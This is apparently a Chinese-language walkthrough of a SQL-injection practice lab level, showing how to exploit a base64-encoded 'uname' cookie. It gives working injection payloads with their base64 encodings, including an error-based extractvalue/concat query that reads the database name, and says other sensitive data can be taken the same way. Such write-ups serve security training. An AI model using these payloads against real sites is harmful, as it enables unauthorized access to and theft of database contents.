知识点:
- 错误注入
- 最大长度为32
- 超过需要利用截取函数分段读取
- cookie注入
- base64加密会保留符号的原始属性
通过admin admin进行登录发现和第二十关显示的内容一样,猜测应该还是cookie注入;
直接截取带有cookie的数据包,发现uname参数的值被加密了,%3d是等号,这应该是一个base64加密
通过在线解码平台对数据进行解密发现是admin,这就对上了,确实是一个base64加密
有了第二十关的经验,这里直接使用单引号闭合看能不能绕过
构造payload:1'+or+1=1#
base64加密:MScrb3IrMT0xIw==(可以再次进行url编码,=变为%3d;不编码也行)
发现出现了错误,提示信息中出现了‘)’;说明这应该是一个where uname=('输入')
根据得到的信息,重新构造payload:1')+or+1=1#
base64编码:MScpK29yKzE9MSM=
发现还是报错,这就怪了
感觉是没问题的,是不是+号的问题呢???尝试换成空格
构造payload:1') or 1=1 #
base64编码:MScpIG9yIDE9MSAj
成功得到了正确的回显界面,base64加密会保留符号的原始属性
好了,下面可以进行错误注入了
构造payload:1') or exp(710)#
base64加密:MScpIG9yIGV4cCg3MTApIw==
成功执行了exp()函数,这里可以进行错误注入
下面通过错误注入读取数据库名
构造payload:1') or extractvalue(1,concat(0x7e,database(),0x7e))#
base64编码:MScpIG9yIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLGRhdGFiYXNlKCksMHg3ZSkpIw==
成功获取了数据库名,获取其他敏感信息原理相同
10